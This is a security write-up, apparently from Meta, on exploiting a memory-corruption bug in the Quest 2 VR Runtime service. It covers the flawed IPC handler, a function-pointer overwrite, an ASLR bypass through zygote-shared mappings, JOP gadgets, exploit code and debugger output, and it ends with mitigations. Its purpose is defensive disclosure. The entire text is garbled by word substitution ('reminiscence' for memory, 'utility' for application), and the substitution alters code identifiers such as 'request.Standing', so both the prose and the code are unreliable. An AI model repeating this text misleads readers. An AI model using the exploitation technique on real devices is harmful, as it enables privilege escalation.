Meta Quest 2: Protection via offense

  • Meta’s Native Assurance group recurrently performs guide code opinions as a part of our ongoing dedication to enhance the safety posture of Meta’s merchandise. 
  • In 2021, we found a vulnerability within the Meta Quest 2’s Android-based OS that by no means made it to manufacturing however helped us discover new methods to enhance the safety of Meta Quest merchandise. 
  • We’re sharing our journey to get arbitrary native code execution within the privileged VR Runtime service on the Meta Quest 2 by exploiting a reminiscence corruption vulnerability from an unprivileged utility over Runtime IPC.

In 2021, the Native Assurance group at Meta (a part of the Product Safety group) carried out a code evaluate on a privileged service known as VR Runtime which offers VR companies to consumer functions on VROS, the Android Open Supply Venture (AOSP)-based OS for the Meta Quest product line. Within the course of they discovered a number of reminiscence corruption vulnerabilities that could possibly be triggered by any put in utility.

This vulnerability by no means made it into manufacturing. However to get a greater understanding of how exploitation may occur on VROS we determined to make use of this chance to jot down an elevation-of-privilege exploit that would execute arbitrary native code in VR Runtime. Doing so gave us an excellent higher understanding of what exploitation may appear to be on VROS and gave us actionable objects we’re utilizing to enhance the safety posture of Meta Quest merchandise.  

An introduction to VROS

VROS is an in-house AOSP construct that runs on the Meta Quest product line up. It comprises customizations on prime of AOSP to supply the VR expertise on Quest {hardware}, together with firmware, kernel modifications, system drivers, system companies, SELinux insurance policies, and functions.

As an Android variant, VROS has most of the identical safety features as different trendy Android techniques. For instance, it makes use of SELinux insurance policies to scale back the assault surfaces uncovered to unprivileged code operating on the system. Due to these protections, trendy Android exploits sometimes require chains of exploits towards quite a few vulnerabilities to achieve management over a tool. Attackers trying to compromise VROS should overcome related challenges.

Picture supply: https://supply.android.com/docs/core/structure

On VROS, VR functions are primarily common Android functions. Nonetheless, these functions talk with a wide range of system companies and {hardware} to supply the VR expertise to customers.

VR Runtime

VR Runtime is a service that gives VR options reminiscent of time warp and composition to consumer VR functions. The service is contained throughout the com.oculus.vrruntimeservice course of as a part of the com.oculus.systemdriver (VrDriver.apk) bundle. The VrDriver bundle is put in to /system/priv-app/ in VROS making com.oculus.vrruntimeservice a privileged service with SELinux area priv_app. This provides it permissions past what are given to regular Android functions. 

The VR Runtime service is constructed on a customized IPC known as Runtime IPC that’s developed by Meta. Runtime IPC makes use of UNIX pipes and ashmem shared reminiscence areas to facilitate communication between shoppers and servers. A local dealer course of known as runtimeipcbroker sits within the center between shoppers and servers and manages the preliminary connection, after which shoppers and servers talk instantly with each other.

VR utility / VR Runtime connections

All VR functions use Runtime IPC to connect with the VR Runtime server operating within the com.oculus.vrruntimeservice course of utilizing both the VrApi or OpenXR API. The VrApi and OpenXR interfaces load a library dynamically from VrDriver.apk containing the consumer aspect of the VR Runtime implementation and use this underneath the hood to carry out varied VR operations supported by VR Runtime reminiscent of time warp.

This course of will be summarized in a sequence of steps:

  1. A loader is linked to all VR functions at construct time. This makes it so VR apps can run on a number of merchandise/variations.
  2. When a VR app begins, the loader makes use of dlopen to load the vrapiimpl.so library put in as a part of VrDriver.apk. The loader will acquire the addresses of capabilities inside vrapiimpl.so related to the general public VrApi or OpenXR interface.
  3. After the loader’s execution:
    1. The VR utility will create a Runtime IPC connection to the VR Runtime server operating inside com.oculus.vrruntimeservice.
    2. This course of is mediated by the native runtimeipcbroker course of, which performs permissions checks and different hand-off tasks in order that the consumer and server can talk instantly.
    3. From this level ahead the connection makes use of UNIX pipes and shared reminiscence areas for consumer/server communication.

The VR Runtime assault floor

The default SELinux area for many functions on VROS is untrusted_app. These functions embody these which can be put in from the Meta Quest Retailer in addition to these which can be sideloaded onto the system. The untrusted_app area is restrictive and meant to include the minimal SELinux permissions that an utility ought to want.

Since untrusted functions can talk with the extra privileged VR Runtime server this introduces an elevation of privilege threat. If an untrusted utility is ready to exploit a vulnerability within the VR Runtime code it is going to be capable of carry out operations on the system reserved for privileged functions. Due to this, all inputs from untrusted functions to VR Runtime needs to be scrutinized closely.

A very powerful inputs that VR Runtime processes from untrusted functions are those who originate from RPC requests and from learn/write shared reminiscence. The code that processes these inputs consists of the assault floor of VR Runtime, as proven beneath:

Exploiting VR Runtime

Earlier than diving into the vulnerability and its exploitation, allow us to clarify the exploitation state of affairs that we thought-about.

Anybody who owns a Meta Quest headset is ready to turn on developer mode, which permits customers to sideload functions and have adb / shell entry. This doesn’t imply customers are capable of get root on their gadgets, but it surely does give them a considerable amount of flexibility for interacting with the headset that they’d not have in any other case.

We selected to pursue exploitation from the angle of an utility that escalates its privileges on the headset. Such an utility could possibly be deliberately malicious or be sideloaded by a consumer for jailbreaking functions.

The vulnerability

The vulnerability that we selected for exploitation by no means made it right into a manufacturing launch, but it surely was launched in a code commit in 2021. The commit added processing code for a brand new kind of message that the VR Runtime may obtain over Runtime IPC. Here’s a redacted code snippet of what the vulnerability appeared like:

 REGISTER_RPC_HANDLER(
    SetPerformanceIdealFeatureState,
    [=](const uint32_t clientId,
      const SetPerformanceIdealFeatureStateRequest request,
      bool& response) 
// ...  

PerformanceManagerState->IdealFeaturesState.features_[static_cast<uint32_t>(request.Feature)]
          .status_ = request.Standing;     
PerformanceManagerState->IdealFeaturesState.features_[static_cast<uint32_t>(request.Feature)]
          .fidelity_ = request.Constancy;
// ...
      response = true;
      return replicate::RPCResult_Complete;
    )

The request parameter is an object that’s constructed primarily based on what’s obtained over Runtime IPC. This implies each request.Characteristic and request.Standing are attacker managed. The PerformanceManagerState->IdealFeaturesState.features_ variable is a statically-sized array and lives within the .bss part of the libvrruntimeservice.so module. PerformanceManagerState->IdealFeaturesState.features_ is structured as follows:

enum class FeatureFidelity : uint32_t  ... ;
enum class FeatureStatus : uint32_t  ... ;
struct FeatureState 
  FeatureFidelity fidelity_;
  FeatureStatus status_;
;

struct FeaturesState 
  std::array<FeatureState, 31> features_;
;

Since request.Characteristic and request.Standing are attacker managed and PerformanceManagerState->IdealFeaturesState.features_  is a statically-sized array, the vulnerability provides an attacker the flexibility to carry out arbitrary 8-byte-long corruptions at arbitrary offsets (32-bit restrict). Any VR utility can set off this vulnerability by sending a specifically crafted SetPerformanceIdealFeatureState Runtime IPC message. Furthermore, the vulnerability is secure and will be repeated.

Hijacking control-flow

The tip purpose for our exploit was arbitrary native code execution. We would have liked to show this 8-byte write vulnerability into one thing helpful for an attacker. Step one was to discover a corruption goal to take management of this system counter.

Fortunately for us, VR Runtime is a posh stateful piece of software program and there are a variety of fascinating potential targets inside its .bss part. The best corruption goal for us was a operate pointer that:

  1. Is saved at an arbitrary offset proper after the worldwide array. That is essential as a result of it means we will use the 8-byte write primitive to deprave and management its worth.
  2. Has an attacker-reachable name website that invokes it. That is essential as a result of with no name website invoking the operate pointer, we will’t take over the management circulate.

To enumerate the corruption targets that had been reachable from the write primitive, we used Ghidra to manually analyze the structure of the .bss part of the libvrruntimeservice.so binary. First, we situated the place the array is saved within the part. This location corresponds to the start of the PerformanceManagerState->IdeaFeatureState.features_ array you could see beneath.

We then looked for ahead reachable corruption targets that had been contained throughout the libvrruntimservice.so binary. Fortunate for us, we discovered an array of operate pointers which can be dynamically resolved at runtime and saved inside a worldwide occasion of an ovrVulkanLoader object. The operate pointers contained inside ovrVulkanLoader level into the libvulkan.so module offering the Vulkan interface. The Vulkan interface operate pointer calls are invokable not directly from attacker-controlled inputs over RPC. These two properties fulfill the 2 exploitation standards we talked about earlier.

With that in thoughts, we appeared for a operate pointer that we knew could possibly be invoked not directly from an RPC command. We selected to overwrite the vkGetPhysicalDeviceImageFormatProperties operate pointer, which will be known as from a management circulate originating from the CreateSwapChain Runtime IPC RPC command.

Beneath is a decompilation output of the CreateTextureSwapChainVulkan operate that invokes the vkGetPhysicalDeviceImageFormatProperties operate pointer:

To hijack management circulate, we first used the write primitive to deprave the vkGetPhysicalDeviceImageFormatProperties operate pointer after which crafted an RPC command that triggered the CreateTextureSwapChainVulkan operate. This finally allowed us to manage this system counter:

Bypassing Deal with Area Format Randomization (ASLR) 

We turned this corruption primitive into one thing that allowed us to manage this system counter of the goal. Address Space Layout Randomization (ASLR) is an exploit mitigation that makes it tough for exploits to foretell the tackle house of the goal. Due to ASLR, we had no information of the goal tackle house: We didn’t know the place libraries had been loaded and didn’t know the place the heap or stack was. Figuring out these areas is extraordinarily helpful for an attacker as a result of they’ll redirect the execution circulate to loaded libraries and reuse a few of their code. It is a approach generally known as jump-oriented programming (JOP) or return-oriented programming (a selected case of JOP).

Bypassing ASLR is a typical downside in trendy exploitation and the reply is normally to:

  1. Find or manufacture a solution to leak hints concerning the address-space (operate addresses, saved-return addresses, heap pointers, and so on.).
  2. Discover one other means.

We explored each of these choices and finally stumbled upon one thing moderately fascinating:

$ adb shell ps -A
USER           PID  PPID     VSZ    RSS WCHAN            ADDR S NAME                       
root           694     1 5367252 128760 poll_schedule_timeout 0 S zygote64
u0_a5         1898   694 5801656 112280 ptrace_stop         0 t com.oculus.vrruntimeservice
u0_a80        7519   694 5383760 104720 do_epoll_wait       0 S com.oculus.vrexploit

Within the above, you may see that our utility and our goal have been forked off the zygote64 course of. The result’s that our course of inherits the identical tackle house from the zygote64 course of because the VR Runtime course of. Which means the loaded libraries within the zygote64 course of at fork time can be loaded on the identical addresses in each of these processes.

That is extraordinarily helpful as a result of it signifies that we don’t want to interrupt ASLR anymore since we’ve got detailed information of the place quite a few libraries reside in reminiscence. Beneath exhibits an instance the place the libc.so module is loaded at 0x7dae043000 in each processes:

$ adb shell cat /proc/1898/maps | grep libc.so
7dae043000-7dae084000 r--p 00000000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae084000-7dae11e000 --xp 00040000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae11e000-7dae126000 r--p 000d9000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae126000-7dae129000 rw-p 000e0000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
 
$ adb shell cat /proc/7519/maps | grep libc.so
7dae043000-7dae084000 r--p 00000000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae084000-7dae11e000 --xp 00040000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae11e000-7dae126000 r--p 000d9000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae126000-7dae129000 rw-p 000e0000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so

Utilizing this information, we enumerated all shared libraries in each tackle areas and appeared for code reuse devices in them. At this level there have been actually thousands and thousands of code reuse devices in a file that we would have liked to sift via to assemble a JOP chain and achieve our purpose.

...
0x240b4: ldr x8, [x0]; ldr x8, [x8, #0x40]; blr x8; 
0x23ad0: ldr x8, [x0]; ldr x8, [x8, #0x48]; blr x8; 
0x23ab0: ldr x8, [x0]; ldr x8, [x8, #0x50]; blr x8; 
0x24040: ldr x8, [x0]; ldr x8, [x8, #0x70]; blr x8; 
0x23100: ldr x8, [x0]; ldr x8, [x8, #8]; blr x8; 
0x23ae0: ldr x8, [x0]; ldr x8, [x8]; blr x8; 
0x22ba8: ldr x8, [x0]; ldr x9, [x8, #0x30]; add x8, sp, #8; blr x9; 
0x231e0: ldr x8, [x0]; mov x19, x0; ldr x8, [x8, #0x58]; blr x8; 
0x208fc: ldr x8, [x0]; rev x0, x8; ret; 
0x231f0: ldr x8, [x19]; mov w20, w0; mov x0, x19; ldr x8, [x8, #0x60]; blr x8; 
0x22de4: ldr x8, [x1]; mov x0, x1; ldr x8, [x8, #0x70]; blr x8; 
0x179e4: ldr x8, [x20], #0x10; sub x19, x19, #1; ldr x8, [x8]; blr x8; 
0x17ea4: ldr x8, [x21]; mov x0, x21; ldr x8, [x8, #0x10]; blr x8; 
0x23b0c: ldr x8, [x21]; mov x0, x21; mov x1, x20; ldr x8, [x8, #0x48]; blr x8; 
0x17b38: ldr x8, [x22], #0x10; mov x0, x21; ldr x8, [x8]; blr x8; 
0x17ad8: ldr x8, [x22], #0xfffffffffffffff0; mov x0, x21; ldr x8, [x8]; blr x8; 
0x23be0: ldr x8, [x22]; mov w23, w0; mov x0, x22; ldr x8, [x8, #0x60]; blr x8; 

We now had management over the execution circulate, knew the place a big subset of libraries loaded within the VR Runtime are positioned in reminiscence, and had an inventory of code reuse devices. The following step was to truly write the exploit to execute a payload of our selecting within the VR Runtime course of. 

Exploitation

As a reminder, our exploitation state of affairs was from the angle of an already put in untrusted utility. Our method for exploitation was to get the VR Runtime course of to load a shared library utilizing dlopen from our utility APK. When VR Runtime loaded the library, our payload could be executed routinely as a part of the loaded library’s initialization operate.

Conducting this meant we would have liked a JOP chain that carried out the next sequence of operations:

  1. Assign a pointer to $x0 (the primary operate argument within the ARM64 ABI) pointing to a path of a shared module we positioned in our exploit APK.
  2. Redirect this system counter to dlopen.

To construct our JOP chain we filtered the record of devices primarily based on the registers and reminiscence we managed on the time of hijack. The state on the time of the hijack is illustrated beneath:

Recall that the $x0 register on the time of the management circulate switch to dlopen corresponds to the trail argument. The issue we now needed to resolve was how will we load $x0 with a pointer to a string we management? That is difficult as a result of the one place we had been capable of insert managed knowledge is the .bss part of the goal. However we didn’t know its location in reminiscence, so we couldn’t hardcode its tackle.

One factor that was very useful for us is that there occurred to be a pointer to the .bss part (ovrVulkanLoader) within the $x21 register on the time of management circulate hijack. This meant that in principle we may merely transfer $x21 or a worth offset from $x21 into $x0. This may give us our managed path argument to dlopen, fixing our downside.

After hours of sifting via devices, we finally discovered one which did precisely what we would have liked and in addition allowed us to maintain management circulate:

ldr        x2,[x21 , #0x80 ]
mov        w1,#0x1000
mov        x0,x21
blr        x2

We may then use one other gadget to set $x1 (the second operate argument within the ARM64 ABI) to a sane worth and invoke dlopen:

mov        w1,#0x2
bl         <EXTERNAL>::dlopen undefined dlopen()

Fortunately, the write vulnerability we used within the exploit was additionally repeatable. This meant that we may overwrite a number of areas in reminiscence offset from $x21 (ovrVulkanLoader). We ended up utilizing a number of RPC instructions to overwrite reminiscence in the way in which we would have liked for organising our gadget state and solely afterwards triggering the management circulate hijack. 

Utilizing this method, we arrange the gadget state to mix the 2 devices above and had been capable of load our shared module giving us arbitrary native code execution:

  // Corrupt the `vulkanLoader.vkGetPhysicalDeviceImageFormatProperties` pointer which is
  // at +0x68. We hijack management circulate by triggering a operate name in
  // ovrSwapChain::CreateTextureSwapChainVulkan.
  // First gadget in eglSubDriverAndroid.so
  //  0010b3ac a2  42  40  f9    ldr        x2,[x21 , #0x80 ]
  //  0010b3b0 e1  03  14  32    mov        w1,#0x1000
  //  0010b3b4 e0  03  15  aa    mov        x0,x21
  //  0010b3b8 40  00  3f  d6    blr        x2
  const uint64_t vkGetPhysicalDeviceImageFormatPropertiesOffset = VulkanLoaderOffset + 0x68;
  const uint64_t FirstGadget = ModuleMap.at("eglSubDriverAndroid.so") + 0xb3'ac;
  Corruptions.emplace_back(vkGetPhysicalDeviceImageFormatPropertiesOffset, FirstGadget);


  // Second gadget in libcutils.so:
  //  0010bc78 41  00  80  52    mov        w1,#0x2
  //  0010bc7c advert  0d  00  94    bl         <EXTERNAL>::dlopen undefined dlopen()
  const uint64_t SecondGadget = ModuleMap.at("/system/lib64/libcutils.so") + 0xbc'78;
  Corruptions.emplace_back(VulkanLoaderOffset + 0x80, SecondGadget);

And beneath is what it appeared like from GDB (GNU Debugger):

(gdb) break *0x7c98012c78
Breakpoint 1 at 0x7c98012c78

(gdb) c
Persevering with.
Thread 41 "Thread-15" hit Breakpoint 1, 0x0000007c98012c78 in ?? ()

(gdb) x/s $x0
0x7bb11633e8:   "/knowledge/app/com.oculus.vrexploit-OjL813hdSAtlc3fEkJKdrg==/lib/arm64/libinject-arm64.so"

(gdb) c
Persevering with.
warning: Couldn't load shared library symbols for /knowledge/app/com.oculus.vrexploit-OjL813hdSAtlc3fEkJKdrg==/lib/arm64/libinject-arm64.so.

At that time, we achieved our purpose and had been capable of execute arbitrary native code within the VR Runtime course of. 

What we realized

We tried to derive as a lot worth out of the train as potential with a concentrate on actionable objects we may use to enhance the safety posture of Meta merchandise. We received’t record all of the outcomes on this put up however listed here are a few of the most notable.

RELRO for operate pointers in RW world reminiscence

One of many patterns we observed early within the train was that the VR Runtime service contained many operate pointers in world reminiscence. The VR Runtime course of hundreds these operate pointers early in its initialization by first calling dlopen on sure system put in libraries after which utilizing dlsym to assign a given operate pointer with its related tackle. 

This method offers flexibility to builders to make use of vendor libraries offering a typical API throughout merchandise (e.g., libvulkan.so). The draw back is that the operate pointers are saved in readable and writable reminiscence, making them prime targets for reminiscence corruption-based overwrites. In VR Runtime’s case, they had been saved in world readable writable reminiscence that occurred to be reachable from our out-of-bounds write exploitation primitive. Moreover, these operate pointers will not be protected by compiler mitigations reminiscent of management circulate integrity.

As an consequence of our exploitation train, we explored completely different methods to guard these operate pointers after their preliminary task. One technique was to try to mirror the well-known full relocation read-only (RELRO) mitigation that’s used to guard tips to capabilities in different libraries computed by the dynamic linker at load time. In full RELRO, the mappings containing these pointers are made read-only after they’re initialized, which prevents malicious writes from overwriting their contents. 

We made a number of adjustments to the VR Runtime code to mark operate pointers in world reminiscence to be learn solely after we initialized them. Had this safety been in place it could have made our exploitation rather more tough. We at the moment are engaged on generalizing this method by constructing an LLVM compiler go that implements the approach.

Ideas on SELinux

One of the irritating issues for us throughout exploit improvement was the constraints imposed on us by SELinux. With that mentioned, we had been pleasantly shocked that we may load a .so library out of an untrusted utility’s knowledge listing as a privileged utility. It’s because Android’s default SELinux coverage allows privileged functions (sometimes put in to platform_app, system_app, or priv_app) to execute code underneath /knowledge/app, which is the place untrusted functions are generally put in. 

Android helps this conduct as a result of it permits for updates to privileged functions exterior of OTA updates. This permits privileged functions signed with the identical certificates as the unique to be up to date in a extra light-weight method. An up to date privileged utility is put in to /knowledge/app, however retains its privileged SELinux context. 

Whereas we didn’t develop an answer to this difficulty, we really feel it’s price calling out as a possible space for enchancment on Android. Usually, we don’t imagine that privileged functions ought to be capable of execute code owned by lesser privileged functions.

About Meta’s Native Assurance group

The Meta Native Assurance group that carried out this exploit train is a component of a bigger product safety group that performs proactive safety work on Meta’s merchandise. Some examples of this work embody fuzzing, static evaluation, structure/implementation opinions, assault floor discount, exploit mitigations, and extra. As well as, Meta additionally provides a bug bounty program to incentivize safety analysis throughout its whole exterior assault floor, together with the VR and AR merchandise.